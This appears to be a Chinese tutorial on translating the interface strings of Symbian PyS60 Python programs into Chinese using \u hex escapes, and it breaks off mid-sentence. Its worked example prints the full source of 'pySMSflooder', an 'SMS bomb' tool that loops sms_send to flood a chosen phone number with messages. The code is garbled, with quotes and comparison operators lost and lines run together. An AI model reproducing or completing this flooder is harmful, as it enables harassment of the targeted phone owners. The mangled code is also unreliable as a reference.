Python程序的汉化[简版].docVIP

【火族汉化组教程】Python程序的汉化 [简版] 不多罗嗦，直入正题. Python程序并不是汉化*.rsc ， *.rsc中只有程序的图标名，一般用U码汉化。Python的语言常见的有在 *.py 和 *.pyc 中，还有些其它的文件如*.lang 等。*.py可以直接用记事本打开 ；*.pyc是被编译过的py文件，可以用16进制编辑器打开汉化；其他的语言文件一般都可以用记事本打开。 *py 汉化 首先说*.py，*.py可以用windows的记事本直接打开，里面一般有： u内容??，里面的内容就是我们要汉化的，但我们不能直接输入中文替换，要用RSC的A码汉化的十六进制值替换，而且每个字前面还要加上： \u以短信炸弹做例子 记事本打开后如下： import e32 import appuifw import messaging appuifw.app.title=upySMSflooder def redraw(rect): cc.clear(0x000000) cc.text((10,20),upySMSflooder 2.0.3,(0xffffff)) cc.text((10,40),uby zoellner86,(0xffffff)) cc.text((10,60),uwww.zoellner.tk/pysmsflooder,(0xffffff)) cc.text((10,80),uICQ: 379-733-981,(0xffffff)) cc.line([(10,90),(225,90)],(0x00ff00)) cc.line([(10,95),(225,95)],(0x00ff00)) def menu(): appuifw.app.body=cc appuifw.app.screen=normal redraw(cc) lock=appuifw.e32.Ao_lock() cc=appuifw.Canvas(event_callback=None, redraw_callback=redraw) menu() def exit_key_handler(): app_lock.signal() appuifw.app.set_exit() def numbers(): phonenr = appuifw.query(uPhonenumber, text) quant = appuifw.query(uQuantity, number) i=0 smstext = int(i) + 1 while iquant: messaging.sms_send(phonenr, smstext) i=i+1 smstext = int(smstext) + 1 appuifw.note(str(quant)+uMessages sent,info) def text(): smstext = appuifw.query(uMessage, text) phonenr = appuifw.query(uPhonenumber, text) quant = appuifw.query(uQuantity, number) i=0 while iquant: messaging.sms_send(phonenr, smstext) i=i+1 appuifw.note(str(quant)+uMessages sent,info) app_lock = e32.Ao_lock() appuifw.app.menu = [(uNew Message, ( (uYour Text Message, text), (uNumerical Sequence, numbers) ) ), (uExit, exit_key_handler) ] lock.wait() appuifw.app.exit_key_handler = exit_key_handler appuifw.app.set_exit() 复制代码 import e32import appuifwimport messaging# 上面的是导入python功能模块，编程的事，与汉化无关。appuifw.app.title=upySMSflooder# 这是程序标题，就是打开程序后显示在顶部的文字，开始汉化了。# 汉化成“短信炸弹”，十六进制值是：77ed 4fe1 70b8 5f39# 在每个字前面加上\u??就是：\u77ed\u4fe1\u70b8\u5f39# 替换后：appuifw.app.title=u\u77ed\u4fe1\u70b8\u5f39# 注意单引号不